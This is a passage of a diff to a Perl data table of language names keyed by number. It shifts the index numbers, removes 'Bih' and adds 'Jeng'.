       ],
-   q(2865) => [
+   q(2863) => [
       q(Humla),
       ],
-   q(2866) => [
+   q(2864) => [
       q(Murui Huitoto),
       ],
-   q(2867) => [
+   q(2865) => [
       q(San Mateo Del Mar Huave),
       ],
-   q(2868) => [
+   q(2866) => [
       q(Hukumina),
       ],
-   q(2869) => [
+   q(2867) => [
       q(Nupode Huitoto),
       ],
-   q(2870) => [
+   q(2868) => [
       q(Hulaula),
       ],
-   q(2871) => [
+   q(2869) => [
       q(Hunzib),
       ],
-   q(2872) => [
+   q(2870) => [
       q(Haitian Vodoun Culture Language),
       ],
-   q(2873) => [
+   q(2871) => [
       q(San Dionisio Del Mar Huave),
       ],
-   q(2874) => [
+   q(2872) => [
       q(Haveke),
       ],
-   q(2875) => [
+   q(2873) => [
       q(Sabu),
       ],
-   q(2876) => [
+   q(2874) => [
       q(Santa Maria Del Mar Huave),
       ],
-   q(2877) => [
+   q(2875) => [
       q(Wane),
       ],
-   q(2878) => [
+   q(2876) => [
       q(Hawai'i Creole English),
       q(Hawai'i Pidgin),
       ],
-   q(2879) => [
+   q(2877) => [
       q(Hwana),
       ],
-   q(2880) => [
+   q(2878) => [
       q(Hya),
       ],
-   q(2881) => [
+   q(2879) => [
       q(Iaai),
       ],
-   q(2882) => [
+   q(2880) => [
       q(Iatmul),
       ],
-   q(2883) => [
+   q(2881) => [
       q(Purari),
       ],
-   q(2884) => [
+   q(2882) => [
       q(Ibibio),
       ],
-   q(2885) => [
+   q(2883) => [
       q(Iwaidja),
       ],
-   q(2886) => [
+   q(2884) => [
       q(Akpes),
       ],
-   q(2887) => [
+   q(2885) => [
       q(Ibanag),
       ],
-   q(2888) => [
-      q(Bih),
-      ],
-   q(2889) => [
+   q(2886) => [
       q(Ibaloi),
       ],
-   q(2890) => [
+   q(2887) => [
       q(Agoi),
       ],
-   q(2891) => [
+   q(2888) => [
       q(Ibino),
       ],
-   q(2892) => [
+   q(2889) => [
       q(Ibuoro),
       ],
-   q(2893) => [
+   q(2890) => [
       q(Ibu),
       ],
-   q(2894) => [
+   q(2891) => [
       q(Ibani),
       ],
-   q(2895) => [
+   q(2892) => [
       q(Ede Ica),
       ],
-   q(2896) => [
+   q(2893) => [
       q(Etkywan),
       ],
-   q(2897) => [
+   q(2894) => [
       q(Icelandic Sign Language),
       ],
-   q(2898) => [
+   q(2895) => [
       q(Islander Creole English),
       ],
-   q(2899) => [
+   q(2896) => [
       q(Idakho-Isukha-Tiriki),
       q(Luidakho-Luisukha-Lutirichi),
       ],
-   q(2900) => [
+   q(2897) => [
       q(Indo-Portuguese),
       ],
-   q(2901) => [
+   q(2898) => [
       q(Idon),
       q(Ajiya),
       ],
-   q(2902) => [
+   q(2899) => [
       q(Ede Idaca),
       ],
-   q(2903) => [
+   q(2900) => [
       q(Idere),
       ],
-   q(2904) => [
+   q(2901) => [
       q(Idi),
       ],
-   q(2905) => [
+   q(2902) => [
       q(Indri),
       ],
-   q(2906) => [
+   q(2903) => [
       q(Idesa),
       ],
-   q(2907) => [
+   q(2904) => [
       q(Idate),
       ],
-   q(2908) => [
+   q(2905) => [
       q(Idoma),
       ],
-   q(2909) => [
+   q(2906) => [
       q(Amganad Ifugao),
       ],
-   q(2910) => [
+   q(2907) => [
       q(Batad Ifugao),
       q(Ayangan Ifugao),
       ],
-   q(2911) => [
+   q(2908) => [
       q(Ife),
       ],
-   q(2912) => [
+   q(2909) => [
       q(Ifo),
       ],
-   q(2913) => [
+   q(2910) => [
       q(Tuwali Ifugao),
       ],
-   q(2914) => [
+   q(2911) => [
       q(Teke-Fuumu),
       ],
-   q(2915) => [
+   q(2912) => [
       q(Mayoyao Ifugao),
       ],
-   q(2916) => [
+   q(2913) => [
       q(Keley-I Kallahan),
       ],
-   q(2917) => [
+   q(2914) => [
       q(Ebira),
       ],
-   q(2918) => [
+   q(2915) => [
       q(Igede),
       ],
-   q(2919) => [
+   q(2916) => [
       q(Igana),
       ],
-   q(2920) => [
+   q(2917) => [
       q(Igala),
       ],
-   q(2921) => [
+   q(2918) => [
       q(Kanggape),
       ],
-   q(2922) => [
+   q(2919) => [
       q(Ignaciano),
       ],
-   q(2923) => [
+   q(2920) => [
       q(Isebe),
       ],
-   q(2924) => [
+   q(2921) => [
       q(Interglossa),
       ],
-   q(2925) => [
+   q(2922) => [
       q(Igwe),
       ],
-   q(2926) => [
+   q(2923) => [
       q(Iha Based Pidgin),
       ],
-   q(2927) => [
+   q(2924) => [
       q(Ihievbe),
       ],
-   q(2928) => [
+   q(2925) => [
       q(Iha),
       ],
-   q(2929) => [
+   q(2926) => [
       q(Bidhawal),
       ],
-   q(2930) => [
+   q(2927) => [
       q(Thiin),
       ],
-   q(2931) => [
+   q(2928) => [
       q(Izon),
       ],
-   q(2932) => [
+   q(2929) => [
       q(Biseni),
       ],
-   q(2933) => [
+   q(2930) => [
       q(Ede Ije),
       ],
-   q(2934) => [
+   q(2931) => [
       q(Kalabari),
       ],
-   q(2935) => [
+   q(2932) => [
       q(Southeast Ijo),
       ],
-   q(2936) => [
+   q(2933) => [
       q(Eastern Canadian Inuktitut),
       ],
-   q(2937) => [
+   q(2934) => [
       q(Iko),
       ],
-   q(2938) => [
+   q(2935) => [
       q(Ika),
       ],
-   q(2939) => [
+   q(2936) => [
       q(Ikulu),
       ],
-   q(2940) => [
+   q(2937) => [
       q(Olulumo-Ikom),
       ],
-   q(2941) => [
+   q(2938) => [
       q(Ikpeshi),
       ],
-   q(2942) => [
+   q(2939) => [
       q(Ikaranggal),
       ],
-   q(2943) => [
+   q(2940) => [
       q(Inuit Sign Language),
       ],
-   q(2944) => [
+   q(2941) => [
       q(Inuinnaqtun),
       q(Western Canadian Inuktitut),
       ],
-   q(2945) => [
+   q(2942) => [
       q(Iku-Gora-Ankwa),
       ],
-   q(2946) => [
+   q(2943) => [
       q(Ikwere),
       ],
-   q(2947) => [
+   q(2944) => [
       q(Ik),
       ],
-   q(2948) => [
+   q(2945) => [
       q(Ikizu),
       ],
-   q(2949) => [
+   q(2946) => [
       q(Ile Ape),
       ],
-   q(2950) => [
+   q(2947) => [
       q(Ila),
       ],
-   q(2951) => [
+   q(2948) => [
       q(Garig-Ilgar),
       ],
-   q(2952) => [
+   q(2949) => [
       q(Ili Turki),
       ],
-   q(2953) => [
+   q(2950) => [
       q(Ilongot),
       ],
-   q(2954) => [
+   q(2951) => [
       q(Iranun (Malaysia)),
       ],
-   q(2955) => [
+   q(2952) => [
       q(Iranun (Philippines)),
       ],
-   q(2956) => [
+   q(2953) => [
       q(International Sign),
       ],
-   q(2957) => [
+   q(2954) => [
       q(Ili'uun),
       ],
-   q(2958) => [
+   q(2955) => [
       q(Ilue),
       ],
-   q(2959) => [
+   q(2956) => [
       q(Mala Malasar),
       ],
-   q(2960) => [
+   q(2957) => [
       q(Anamgura),
       ],
-   q(2961) => [
+   q(2958) => [
       q(Miluk),
       ],
-   q(2962) => [
+   q(2959) => [
       q(Imonda),
       ],
-   q(2963) => [
+   q(2960) => [
       q(Imbongu),
       ],
-   q(2964) => [
+   q(2961) => [
       q(Imroing),
       ],
-   q(2965) => [
+   q(2962) => [
       q(Marsian),
       ],
-   q(2966) => [
+   q(2963) => [
       q(Milyan),
       ],
-   q(2967) => [
+   q(2964) => [
       q(Inga),
       ],
-   q(2968) => [
+   q(2965) => [
       q(Degexit'an),
       ],
-   q(2969) => [
+   q(2966) => [
       q(Jungle Inga),
       ],
-   q(2970) => [
+   q(2967) => [
       q(Indonesian Sign Language),
       ],
-   q(2971) => [
+   q(2968) => [
       q(Minaean),
       ],
-   q(2972) => [
+   q(2969) => [
       q(Isinai),
       ],
-   q(2973) => [
+   q(2970) => [
       q(Inoke-Yate),
       ],
-   q(2974) => [
+   q(2971) => [
       q(Inapari),
       ],
-   q(2975) => [
+   q(2972) => [
       q(Indian Sign Language),
       ],
-   q(2976) => [
+   q(2973) => [
       q(Intha),
       ],
-   q(2977) => [
+   q(2974) => [
       q(Ineseno),
       ],
-   q(2978) => [
+   q(2975) => [
       q(Inor),
       ],
-   q(2979) => [
+   q(2976) => [
       q(Tuma-Irumu),
       ],
-   q(2980) => [
+   q(2977) => [
       q(Iowa-Oto),
       ],
-   q(2981) => [
+   q(2978) => [
       q(Ipili),
       ],
-   q(2982) => [
+   q(2979) => [
       q(Ipiko),
       ],
-   q(2983) => [
+   q(2980) => [
       q(Iquito),
       ],
-   q(2984) => [
+   q(2981) => [
       q(Ikwo),
       ],
-   q(2985) => [
+   q(2982) => [
       q(Iresim),
       ],
-   q(2986) => [
+   q(2983) => [
       q(Irarutu),
       ],
-   q(2987) => [
+   q(2984) => [
       q(Irigwe),
       ],
-   q(2988) => [
+   q(2985) => [
       q(Iraqw),
       ],
-   q(2989) => [
+   q(2986) => [
       q(Irantxe),
       ],
-   q(2990) => [
+   q(2987) => [
       q(Ir),
       ],
-   q(2991) => [
+   q(2988) => [
       q(Irula),
       ],
-   q(2992) => [
+   q(2989) => [
       q(Kamberau),
       ],
-   q(2993) => [
+   q(2990) => [
       q(Iraya),
       ],
-   q(2994) => [
+   q(2991) => [
       q(Isabi),
       ],
-   q(2995) => [
+   q(2992) => [
       q(Isconahua),
       ],
-   q(2996) => [
+   q(2993) => [
       q(Isnag),
       ],
-   q(2997) => [
+   q(2994) => [
       q(Italian Sign Language),
       ],
-   q(2998) => [
+   q(2995) => [
       q(Irish Sign Language),
       ],
-   q(2999) => [
+   q(2996) => [
       q(Esan),
       ],
-   q(3000) => [
+   q(2997) => [
       q(Nkem-Nkum),
       ],
-   q(3001) => [
+   q(2998) => [
       q(Ishkashimi),
       ],
-   q(3002) => [
+   q(2999) => [
       q(Masimasi),
       ],
-   q(3003) => [
+   q(3000) => [
       q(Isanzu),
       ],
-   q(3004) => [
+   q(3001) => [
       q(Isoko),
       ],
-   q(3005) => [
+   q(3002) => [
       q(Israeli Sign Language),
       ],
-   q(3006) => [
+   q(3003) => [
       q(Istriot),
       ],
-   q(3007) => [
+   q(3004) => [
       q(Isu (Menchum Division)),
       ],
-   q(3008) => [
+   q(3005) => [
       q(Binongan Itneg),
       ],
-   q(3009) => [
+   q(3006) => [
       q(Southern Tidung),
       ],
-   q(3010) => [
+   q(3007) => [
       q(Itene),
       ],
-   q(3011) => [
+   q(3008) => [
       q(Inlaod Itneg),
       ],
-   q(3012) => [
+   q(3009) => [
       q(Judeo-Italian),
       ],
-   q(3013) => [
+   q(3010) => [
       q(Itelmen),
       ],
-   q(3014) => [
+   q(3011) => [
       q(Itu Mbon Uzo),
       ],
-   q(3015) => [
+   q(3012) => [
       q(Itonama),
       ],
-   q(3016) => [
+   q(3013) => [
       q(Iteri),
       ],
-   q(3017) => [
+   q(3014) => [
       q(Isekiri),
       ],
-   q(3018) => [
+   q(3015) => [
       q(Maeng Itneg),
       ],
-   q(3019) => [
+   q(3016) => [
       q(Itawit),
       ],
-   q(3020) => [
+   q(3017) => [
       q(Ito),
       ],
-   q(3021) => [
+   q(3018) => [
       q(Itik),
       ],
-   q(3022) => [
+   q(3019) => [
       q(Moyadan Itneg),
       ],
-   q(3023) => [
+   q(3020) => [
       q(Itza),
       ],
-   q(3024) => [
+   q(3021) => [
       q(Iu Mien),
       ],
-   q(3025) => [
+   q(3022) => [
       q(Ibatan),
       ],
-   q(3026) => [
+   q(3023) => [
       q(Ivatan),
       ],
-   q(3027) => [
+   q(3024) => [
       q(I-Wak),
       ],
-   q(3028) => [
+   q(3025) => [
       q(Iwam),
       ],
-   q(3029) => [
+   q(3026) => [
       q(Iwur),
       ],
-   q(3030) => [
+   q(3027) => [
       q(Sepik Iwam),
       ],
-   q(3031) => [
+   q(3028) => [
       q(Ixcatec),
       ],
-   q(3032) => [
+   q(3029) => [
       q(Ixil),
       ],
-   q(3033) => [
+   q(3030) => [
       q(Iyayu),
       ],
-   q(3034) => [
+   q(3031) => [
       q(Mesaka),
       ],
-   q(3035) => [
+   q(3032) => [
       q(Yaka (Congo)),
       ],
-   q(3036) => [
+   q(3033) => [
       q(Ingrian),
       ],
-   q(3037) => [
+   q(3034) => [
       q(Izere),
       ],
-   q(3038) => [
+   q(3035) => [
       q(Izii),
       ],
-   q(3039) => [
+   q(3036) => [
       q(Jamamadi),
       ],
-   q(3040) => [
+   q(3037) => [
       q(Hyam),
       ],
-   q(3041) => [
+   q(3038) => [
       q(Popti'),
       q(Jakalteko),
       ],
-   q(3042) => [
+   q(3039) => [
       q(Jahanka),
       ],
-   q(3043) => [
+   q(3040) => [
       q(Yabem),
       ],
-   q(3044) => [
+   q(3041) => [
       q(Jara),
       ],
-   q(3045) => [
+   q(3042) => [
       q(Jah Hut),
       ],
-   q(3046) => [
+   q(3043) => [
       q(Zazao),
       ],
-   q(3047) => [
+   q(3044) => [
       q(Jakun),
       ],
-   q(3048) => [
+   q(3045) => [
       q(Yalahatan),
       ],
-   q(3049) => [
+   q(3046) => [
       q(Jamaican Creole English),
       ],
-   q(3050) => [
+   q(3047) => [
       q(Jandai),
       ],
-   q(3051) => [
+   q(3048) => [
       q(Yanyuwa),
       ],
-   q(3052) => [
+   q(3049) => [
       q(Yaqay),
       ],
-   q(3053) => [
+   q(3050) => [
       q(New Caledonian Javanese),
       ],
-   q(3054) => [
+   q(3051) => [
       q(Jakati),
       ],
-   q(3055) => [
+   q(3052) => [
       q(Yaur),
       ],
-   q(3056) => [
+   q(3053) => [
       q(Jambi Malay),
       ],
-   q(3057) => [
+   q(3054) => [
       q(Yan-nhangu),
       ],
-   q(3058) => [
+   q(3055) => [
       q(Jawe),
       ],
-   q(3059) => [
+   q(3056) => [
       q(Judeo-Berber),
       ],
-   q(3060) => [
+   q(3057) => [
       q(Badjiri),
       ],
-   q(3061) => [
+   q(3058) => [
       q(Arandai),
       ],
-   q(3062) => [
+   q(3059) => [
       q(Barikewa),
       ],
-   q(3063) => [
+   q(3060) => [
       q(Nafusi),
       ],
-   q(3064) => [
+   q(3061) => [
       q(Jofotek-Bromnya),
       ],
-   q(3065) => [
+   q(3062) => [
       q(Jabuti),
       ],
-   q(3066) => [
+   q(3063) => [
       q(Jukun Takum),
       ],
-   q(3067) => [
+   q(3064) => [
       q(Yawijibaya),
       ],
-   q(3068) => [
+   q(3065) => [
       q(Jamaican Country Sign Language),
       ],
-   q(3069) => [
+   q(3066) => [
       q(Krymchak),
       ],
-   q(3070) => [
+   q(3067) => [
       q(Jad),
       ],
-   q(3071) => [
+   q(3068) => [
       q(Jadgali),
       ],
-   q(3072) => [
+   q(3069) => [
       q(Judeo-Tat),
       ],
-   q(3073) => [
+   q(3070) => [
       q(Jebero),
       ],
-   q(3074) => [
+   q(3071) => [
       q(Jerung),
       ],
-   q(3075) => [
+   q(3072) => [
+      q(Jeng),
+      ],
+   q(3073) => [
       q(Jeh),
       ],
-   q(3076) => [
+   q(3074) => [
       q(Yei),
       ],
-   q(3077) => [
+   q(3075) => [
       q(Jeri Kuo),
       ],
-   q(3078) => [
+   q(3076) => [
       q(Yelmek),
       ],
-   q(3079) => [
+   q(3077) => [
       q(Dza),
       ],
-   q(3080) => [
+   q(3078) => [
       q(Jere),
       ],
-   q(3081) => [
+   q(3079) => [
       q(Manem),
       ],
-   q(3082) => [
+   q(3080) => [
       q(Jonkor Bourmataguil),
       ],
-   q(3083) => [
+   q(3081) => [
       q(Ngbee),
       ],
-   q(3084) => [
+   q(3082) => [
       q(Judeo-Georgian),
       ],
-   q(3085) => [
+   q(3083) => [
       q(Gwak),
       ],
-   q(3086) => [
+   q(3084) => [
       q(Ngomba),
       ],
-   q(3087) => [
+   q(3085) => [
       q(Jehai),
       ],
-   q(3088) => [
+   q(3086) => [
       q(Jhankot Sign Language),
       ],
-   q(3089) => [
+   q(3087) => [
       q(Jina),
       ],
-   q(3090) => [
+   q(3088) => [
       q(Jibu),
       ],
-   q(3091) => [
+   q(3089) => [
       q(Tol),
       ],
-   q(3092) => [
+   q(3090) => [
       q(Bu),
       ],
-   q(3093) => [
+   q(3091) => [
       q(Jilbe),
       ],
-   q(3094) => [
+   q(3092) => [
       q(Djingili),
       ],
-   q(3095) => [
+   q(3093) => [
       q(sTodsde),
       q(Shangzhai),
       ],
-   q(3096) => [
+   q(3094) => [
       q(Jiiddu),
       ],
-   q(3097) => [
+   q(3095) => [
       q(Jilim),
       ],
-   q(3098) => [
+   q(3096) => [
       q(Jimi (Cameroon)),
       ],
-   q(3099) => [
+   q(3097) => [
       q(Jiamao),
       ],
-   q(3100) => [
+   q(3098) => [
       q(Guanyinqiao),
       q(Lavrung),
       ],
-   q(3101) => [
+   q(3099) => [
       q(Jita),
       ],
-   q(3102) => [
+   q(3100) => [
       q(Youle Jinuo),
       ],
-   q(3103) => [
+   q(3101) => [
       q(Shuar),
       ],
-   q(3104) => [
+   q(3102) => [
       q(Buyuan Jinuo),
       ],
-   q(3105) => [
+   q(3103) => [
       q(Jejueo),
       ],
-   q(3106) => [
+   q(3104) => [
       q(Bankal),
       ],
-   q(3107) => [
+   q(3105) => [
       q(Kaera),
       ],
-   q(3108) => [
+   q(3106) => [
       q(Mobwa Karen),
       ],
-   q(3109) => [
+   q(3107) => [
       q(Kubo),
       ],
-   q(3110) => [
+   q(3108) => [
       q(Paku Karen),
       ],
-   q(3111) => [
+   q(3109) => [
       q(Koro (India)),
       ],
-   q(3112) => [
+   q(3110) => [
       q(Labir),
       ],
-   q(3113) => [
+   q(3111) => [
       q(Ngile),
       ],
-   q(3114) => [
+   q(3112) => [
       q(Jamaican Sign Language),
       ],
-   q(3115) => [
+   q(3113) => [
       q(Dima),
       ],
-   q(3116) => [
+   q(3114) => [
       q(Zumbun),
       ],
-   q(3117) => [
+   q(3115) => [
       q(Machame),
       ],
-   q(3118) => [
+   q(3116) => [
       q(Yamdena),
       ],
-   q(3119) => [
+   q(3117) => [
       q(Jimi (Nigeria)),
       ],
-   q(3120) => [
+   q(3118) => [
       q(Jumli),
       ],
-   q(3121) => [
+   q(3119) => [
       q(Makuri Naga),
       ],
-   q(3122) => [
+   q(3120) => [
       q(Kamara),
       ],
-   q(3123) => [
+   q(3121) => [
       q(Mashi (Nigeria)),
       ],
-   q(3124) => [
+   q(3122) => [
       q(Mouwase),
       ],
-   q(3125) => [
+   q(3123) => [
       q(Western Juxtlahuaca Mixtec),
       ],
-   q(3126) => [
+   q(3124) => [
       q(Jangshung),
       ],
-   q(3127) => [
+   q(3125) => [
       q(Jandavra),
       ],
-   q(3128) => [
+   q(3126) => [
       q(Yangman),
       ],
-   q(3129) => [
+   q(3127) => [
       q(Janji),
       ],
-   q(3130) => [
+   q(3128) => [
       q(Yemsa),
       ],
-   q(3131) => [
+   q(3129) => [
       q(Rawat),
       ],
-   q(3132) => [
+   q(3130) => [
       q(Jaunsari),
       ],
-   q(3133) => [
+   q(3131) => [
       q(Joba),
       ],
-   q(3134) => [
+   q(3132) => [
       q(Wojenaka),
       ],
-   q(3135) => [
+   q(3133) => [
       q(Jogi),
       ],
-   q(3136) => [
+   q(3134) => [
       q(Jora),
       ],
-   q(3137) => [
+   q(3135) => [
       q(Jordanian Sign Language),
       ],
-   q(3138) => [
+   q(3136) => [
       q(Jowulu),
       ],
-   q(3139) => [
+   q(3137) => [
       q(Jewish Palestinian Aramaic),
       ],
-   q(3140) => [
+   q(3138) => [
       q(Jaqaru),
       ],
-   q(3141) => [
+   q(3139) => [
       q(Jarai),
       ],
-   q(3142) => [
+   q(3140) => [
       q(Jiru),
       ],
-   q(3143) => [
+   q(3141) => [
       q(Jorto),
       ],
-   q(3144) => [
+   q(3142) => [
       q(Japreria),
       ],
-   q(3145) => [
+   q(3143) => [
       q(Japanese Sign Language),
       ],
-   q(3146) => [
+   q(3144) => [
       q(Juma),
       ],
-   q(3147) => [
+   q(3145) => [
       q(Wannu),
       ],
-   q(3148) => [
+   q(3146) => [
       q(Jurchen),
       ],
-   q(3149) => [
+   q(3147) => [
       q(Worodougou),
       ],
-   q(3150) => [
+   q(3148) => [
       q(Hone),
       ],
-   q(3151) => [
+   q(3149) => [
       q(Ngadjuri),
       ],
-   q(3152) => [
+   q(3150) => [
       q(Wapan),
       ],
-   q(3153) => [
+   q(3151) => [
       q(Jirel),
       ],
-   q(3154) => [
+   q(3152) => [
       q(Jumjum),
       ],
-   q(3155) => [
+   q(3153) => [
       q(Juang),
       ],
-   q(3156) => [
+   q(3154) => [
       q(Jiba),
       ],
-   q(3157) => [
+   q(3155) => [
       q(Hupde),
       ],
-   q(3158) => [
+   q(3156) => [
       q(Juruna),
       ],
-   q(3159) => [
+   q(3157) => [
       q(Jumla Sign Language),
       ],
-   q(3160) => [
+   q(3158) => [
       q(Jutish),
       ],
-   q(3161) => [
+   q(3159) => [
       q(Ju),
       ],
-   q(3162) => [
+   q(3160) => [
       q(Wapha),
       ],
-   q(3163) => [
+   q(3161) => [
       q(Juray),
       ],
-   q(3164) => [
+   q(3162) => [
       q(Javindo),
       ],
-   q(3165) => [
+   q(3163) => [
       q(Caribbean Javanese),
       ],
-   q(3166) => [
+   q(3164) => [
       q(Jwira-Pepesa),
       ],
-   q(3167) => [
+   q(3165) => [
       q(Jiarong),
       ],
-   q(3168) => [
+   q(3166) => [
       q(Judeo-Yemeni Arabic),
       ],
-   q(3169) => [
+   q(3167) => [
       q(Jaya),
       ],
-   q(3170) => [
+   q(3168) => [
       q(Adara),
       ],
-   q(3171) => [
+   q(3169) => [
       q(Ketangalan),
       ],
-   q(3172) => [
+   q(3170) => [
       q(Katso),
       ],
-   q(3173) => [
+   q(3171) => [
       q(Kajaman),
       ],
-   q(3174) => [
+   q(3172) => [
       q(Kara (Central African Republic)),
       ],
-   q(3175) => [
+   q(3173) => [
       q(Karekare),
       ],
-   q(3176) => [
+   q(3174) => [
       q(Jju),
       ],
-   q(3177) => [
+   q(3175) => [
       q(Kalanguya),
       q(Kayapa Kallahan),
       ],
-   q(3178) => [
+   q(3176) => [
       q(Xaasongaxango),
       ],
-   q(3179) => [
+   q(3177) => [
       q(Bezhta),
       ],
-   q(3180) => [
+   q(3178) => [
       q(Capanahua),
       ],
-   q(3181) => [
+   q(3179) => [
       q(Katukina),
       ],
-   q(3182) => [
+   q(3180) => [
       q(Kao),
       ],
-   q(3183) => [
+   q(3181) => [
       q(Kamayura),
       ],
-   q(3184) => [
+   q(3182) => [
       q(Kalarko),
       ],
-   q(3185) => [
+   q(3183) => [
       q(Kaxuiana),
       ],
-   q(3186) => [
+   q(3184) => [
       q(Kadiweu),
       ],
-   q(3187) => [
+   q(3185) => [
       q(Kanju),
       ],
-   q(3188) => [
+   q(3186) => [
       q(Khamba),
       ],
-   q(3189) => [
+   q(3187) => [
       q(Camsa),
       ],
-   q(3190) => [
+   q(3188) => [
       q(Kaptiau),
       ],
-   q(3191) => [
+   q(3189) => [
       q(Kari),
       ],
-   q(3192) => [
+   q(3190) => [
       q(Grass Koiari),
       ],
-   q(3193) => [
+   q(3191) => [
       q(Kanembu),
       ],
-   q(3194) => [
+   q(3192) => [
       q(Iwal),
       ],
-   q(3195) => [
+   q(3193) => [
       q(Kare (Central African Republic)),
       ],
-   q(3196) => [
+   q(3194) => [
       q(Keliko),
       ],
-   q(3197) => [
+   q(3195) => [
       q(Kabiye),
       ],
-   q(3198) => [
+   q(3196) => [
       q(Kamano),
       ],
-   q(3199) => [
+   q(3197) => [
       q(Kafa),
       ],
-   q(3200) => [
+   q(3198) => [
       q(Kande),
       ],
-   q(3201) => [
+   q(3199) => [
       q(Abadi),
       ],
-   q(3202) => [
+   q(3200) => [
       q(Kabutra),
       ],
-   q(3203) => [
+   q(3201) => [
       q(Dera (Indonesia)),
       ],
-   q(3204) => [
+   q(3202) => [
       q(Kaiep),
       ],
-   q(3205) => [
+   q(3203) => [
       q(Ap Ma),
       ],
-   q(3206) => [
+   q(3204) => [
       q(Manga Kanuri),
       ],
-   q(3207) => [
+   q(3205) => [
       q(Duhwa),
       ],
-   q(3208) => [
+   q(3206) => [
       q(Khanty),
       ],
-   q(3209) => [
+   q(3207) => [
       q(Kawacha),
       ],
-   q(3210) => [
+   q(3208) => [
       q(Lubila),
       ],
-   q(3211) => [
+   q(3209) => [
       q(Ngkalmpw Kanum),
       ],
-   q(3212) => [
+   q(3210) => [
       q(Kaivi),
       ],
-   q(3213) => [
+   q(3211) => [
       q(Ukaan),
       ],
-   q(3214) => [
+   q(3212) => [
       q(Tyap),
       ],
-   q(3215) => [
+   q(3213) => [
       q(Vono),
       ],
-   q(3216) => [
+   q(3214) => [
       q(Kamantan),
       ],
-   q(3217) => [
+   q(3215) => [
       q(Kobiana),
       ],
-   q(3218) => [
+   q(3216) => [
       q(Kalanga),
       ],
-   q(3219) => [
+   q(3217) => [
       q(Kela (Papua New Guinea)),
       q(Kala),
       ],
-   q(3220) => [
+   q(3218) => [
       q(Gula (Central African Republic)),
       ],
-   q(3221) => [
+   q(3219) => [
       q(Nubi),
       ],
-   q(3222) => [
+   q(3220) => [
       q(Kinalakna),
       ],
-   q(3223) => [
+   q(3221) => [
       q(Kanga),
       ],
-   q(3224) => [
+   q(3222) => [
       q(Kamo),
       ],
-   q(3225) => [
+   q(3223) => [
       q(Katla),
       ],
-   q(3226) => [
+   q(3224) => [
       q(Koenoem),
       ],
-   q(3227) => [
+   q(3225) => [
       q(Kaian),
       ],
-   q(3228) => [
+   q(3226) => [
       q(Kami (Tanzania)),
       ],
-   q(3229) => [
+   q(3227) => [
       q(Kete),
       ],
-   q(3230) => [
+   q(3228) => [
       q(Kabwari),
       ],
-   q(3231) => [
+   q(3229) => [
       q(Kachama-Ganjule),
       ],
-   q(3232) => [
+   q(3230) => [
       q(Korandje),
       ],
-   q(3233) => [
+   q(3231) => [
       q(Konongo),
       ],
-   q(3234) => [
+   q(3232) => [
       q(Worimi),
       ],
-   q(3235) => [
+   q(3233) => [
       q(Kutu),
       ],
-   q(3236) => [
+   q(3234) => [
       q(Yankunytjatjara),
       ],
-   q(3237) => [
+   q(3235) => [
       q(Makonde),
       ],
-   q(3238) => [
+   q(3236) => [
       q(Mamusi),
       ],
-   q(3239) => [
+   q(3237) => [
       q(Seba),
       ],
-   q(3240) => [
+   q(3238) => [
       q(Tem),
       ],
-   q(3241) => [
+   q(3239) => [
       q(Kumam),
       ],
-   q(3242) => [
+   q(3240) => [
       q(Karamojong),
       ],
-   q(3243) => [
+   q(3241) => [
       q(Numee),
       q(Kwenyi),
       ],
-   q(3244) => [
+   q(3242) => [
       q(Tsikimba),
       ],
-   q(3245) => [
+   q(3243) => [
       q(Kagoma),
       ],
-   q(3246) => [
+   q(3244) => [
       q(Kunda),
       ],
-   q(3247) => [
+   q(3245) => [
       q(Kaningdon-Nindem),
       ],
-   q(3248) => [
+   q(3246) => [
       q(Koch),
       ],
-   q(3249) => [
+   q(3247) => [
       q(Karaim),
       ],
-   q(3250) => [
+   q(3248) => [
       q(Kuy),
       ],
-   q(3251) => [
+   q(3249) => [
       q(Kadaru),
       ],
-   q(3252) => [
+   q(3250) => [
       q(Koneraw),
       ],
-   q(3253) => [
+   q(3251) => [
       q(Kam),
       ],
-   q(3254) => [
+   q(3252) => [
       q(Keder),
       q(Keijar),
       ],
-   q(3255) => [
+   q(3253) => [
       q(Kwaja),
       ],
-   q(3256) => [
+   q(3254) => [
       q(Kabuverdianu),
       ],
-   q(3257) => [
+   q(3255) => [
       q(Kele),
       ],
-   q(3258) => [
+   q(3256) => [
       q(Keiga),
       ],
-   q(3259) => [
+   q(3257) => [
       q(Kerewe),
       ],
-   q(3260) => [
+   q(3258) => [
       q(Eastern Keres),
       ],
-   q(3261) => [
+   q(3259) => [
       q(Kpessi),
       ],
-   q(3262) => [
+   q(3260) => [
       q(Tese),
       ],
-   q(3263) => [
+   q(3261) => [
       q(Keak),
       ],
-   q(3264) => [
+   q(3262) => [
       q(Kei),
       ],
-   q(3265) => [
+   q(3263) => [
       q(Kadar),
       ],
-   q(3266) => [
+   q(3264) => [
       q(Kekchi),
       ],
-   q(3267) => [
+   q(3265) => [
       q(Kela (Democratic Republic of Congo)),
       ],
-   q(3268) => [
+   q(3266) => [
       q(Kemak),
       ],
-   q(3269) => [
+   q(3267) => [
       q(Kenyang),
       ],
-   q(3270) => [
+   q(3268) => [
       q(Kakwa),
       ],
-   q(3271) => [
+   q(3269) => [
       q(Kaikadi),
       ],
-   q(3272) => [
+   q(3270) => [
       q(Kamar),
       ],
-   q(3273) => [
+   q(3271) => [
       q(Kera),
       ],
-   q(3274) => [
+   q(3272) => [
       q(Kugbo),
       ],
-   q(3275) => [
+   q(3273) => [
       q(Ket),
       ],
-   q(3276) => [
+   q(3274) => [
       q(Akebu),
       ],
-   q(3277) => [
+   q(3275) => [
       q(Kanikkaran),
       ],
-   q(3278) => [
+   q(3276) => [
       q(West Kewa),
       ],
-   q(3279) => [
+   q(3277) => [
       q(Kukna),
       ],
-   q(3280) => [
+   q(3278) => [
       q(Kupia),
       ],
-   q(3281) => [
+   q(3279) => [
       q(Kukele),
       ],
-   q(3282) => [
+   q(3280) => [
       q(Kodava),
       ],
-   q(3283) => [
+   q(3281) => [
       q(Northwestern Kolami),
       ],
-   q(3284) => [
+   q(3282) => [
       q(Konda-Dora),
       ],
-   q(3285) => [
+   q(3283) => [
       q(Korra Koraga),
       ],
-   q(3286) => [
+   q(3284) => [
       q(Kota (India)),
       ],
-   q(3287) => [
+   q(3285) => [
       q(Koya),
       ],
-   q(3288) => [
+   q(3286) => [
       q(Kudiya),
       ],
-   q(3289) => [
+   q(3287) => [
       q(Kurichiya),
       ],
-   q(3290) => [
+   q(3288) => [
       q(Kannada Kurumba),
       ],
-   q(3291) => [
+   q(3289) => [
       q(Kemiehua),
       ],
-   q(3292) => [
+   q(3290) => [
       q(Kinnauri),
       ],
-   q(3293) => [
+   q(3291) => [
